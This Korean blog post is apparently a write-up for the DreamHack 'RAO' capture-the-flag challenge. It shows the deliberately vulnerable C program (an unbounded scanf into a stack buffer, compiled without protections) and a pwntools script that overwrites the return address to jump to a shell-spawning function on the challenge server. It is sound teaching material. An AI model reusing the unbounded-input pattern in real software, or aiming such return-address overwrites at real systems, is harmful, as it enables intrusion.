Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage5_문제풀이(RAO) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage5_문제풀이(RAO)

CIDY 2022. 7. 1. 19:33
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
// 64-bit, nx, partial relro

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}


어디서 많이 본 코드다.


buf는 scanf호출 시 rsi에 들어가니까, buf == [rbp-0x30]임을 알 수 있다. -> 더미 8바이트 존재

from pwn import *

r = remote("host3.dreamhack.games", 19351)

r.recvuntil(b"Input: ")

get_shell = 0x4006aa

pay = b"A" * 0x30
pay += b"A" * 0x8
pay += p64(get_shell)

r.sendline(pay)
r.interactive()


익스코드는 간단하다.